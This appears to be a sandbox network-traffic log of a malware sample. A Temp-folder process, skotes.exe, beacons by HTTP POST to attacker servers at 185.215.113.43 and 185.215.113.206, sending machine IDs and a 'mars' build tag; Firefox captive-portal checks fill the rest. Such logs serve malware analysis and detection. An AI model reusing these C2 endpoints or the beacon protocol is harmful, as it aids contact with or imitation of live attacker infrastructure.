Nov 24, 2024 02:15:43.128467083 CET	1236	IN	Data Raw: 47 ed 49 0a 4f 64 61 63 1e 1b 4e 83 36 1c 54 63 b3 fd 60 7f 26 00 5a 8f 41 f9 da 1a 55 5c 9d 69 e6 6e 50 02 e8 71 12 b3 2c 94 5d 1a 5f 99 a9 dc 56 d9 87 1a ad d0 8a 78 2a ba 5e 65 d2 e9 4d e7 65 ff 4b 70 98 db b7 71 68 fc 6b 42 34 ad 54 be 20 ea Data Ascii: GIOdacN6Tc`&ZAU\inPq,]_Vx*^eMeKpqhkB4T \>XjHmYbv:tpzAAm?M#g%bQr'RK:InPe`<iKX=U>}lIp]`qnb'pBN\|f}]k_+a0>iByn.=_&k,;
Nov 24, 2024 02:15:43.248066902 CET	1236	IN	Data Raw: 92 a4 52 c8 37 b1 0e be b8 46 e9 71 43 15 68 0d ff 36 06 6c f2 2a 50 63 d3 3c 1d 6e 2f 33 7c 3b 89 07 64 69 fc 82 cd e8 8a 84 5f af 30 a2 a1 63 47 4e 42 1a 07 1b 33 0c 8a 44 6f 22 b2 22 03 b8 85 69 c2 25 e7 24 52 ef c7 0f 3d 2f f7 16 00 c8 d4 33 Data Ascii: R7FqCh6lPc<n/3\|;di_0cGNB3Do""i%$R=/31&Gnyu3 XY3V\|sq<Mh9Rg.4s<#q@)cki-g7E"h/XB2P\|Dd\|M2`n':31=(b70je\|/1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50056	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:44.091918945 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:15:45.525836945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	50057	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:44.164530039 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 02:15:45.563848019 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:15:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:15:45.595343113 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIJJEGDBFIIDGCAKJEB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 43 46 31 35 36 32 44 42 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------GHIJJEGDBFIIDGCAKJEBContent-Disposition: form-data; name="hwid"C4CF1562DBE5845770397------GHIJJEGDBFIIDGCAKJEBContent-Disposition: form-data; name="build"mars------GHIJJEGDBFIIDGCAKJEB--
Nov 24, 2024 02:15:46.051757097 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:15:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50063	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:47.309817076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:15:48.636455059 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50070	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:50.538804054 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:15:51.974824905 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50077	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:54.203443050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:15:55.589016914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50093	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:57.318114996 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:15:58.692105055 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	50099	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:58.009731054 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:15:59.160512924 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 01:37:16 GMT Age: 85122 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:15:59.181092978 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:15:59.504190922 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 01:37:16 GMT Age: 85123 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	50115	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:59.455173969 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	50119	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:59.636174917 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:00.721142054 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68363 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:00.819071054 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:01.133172989 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68363 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:01.228979111 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:01.543081045 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68364 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:01.634994030 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:01.949043036 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68364 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:02.697544098 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:03.011851072 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68365 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:06.541939020 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:06.864931107 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68369 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:16.913525105 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:16:17.878909111 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:18.193295002 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68381 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:19.952873945 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:20.267379045 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68383 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:27.071717024 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:27.386018038 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68390 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:28.371268034 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:28.699224949 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68391 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:29.607541084 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:29.922642946 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68392 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:30.026335001 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:30.341600895 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68393 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:39.121676922 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:39.436073065 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68402 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:49.513746977 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:16:54.201805115 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:54.516192913 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68417 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:16:58.031618118 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:16:58.345849037 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68421 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:17:08.516819000 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:17:18.716450930 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:17:20.553603888 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:17:20.868031025 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68443 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:17:30.917459011 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:17:41.113862038 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:17:51.318818092 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:18:01.613328934 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:18:11.812161922 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:18:22.105365038 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 02:18:42.212805986 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:18:42.531637907 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68525 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 02:18:59.607810974 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 02:18:59.922096014 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 06:16:37 GMT Age: 68542 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	50120	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:59.696290970 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 02:16:00.816359997 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 66483 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 02:16:00.902869940 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
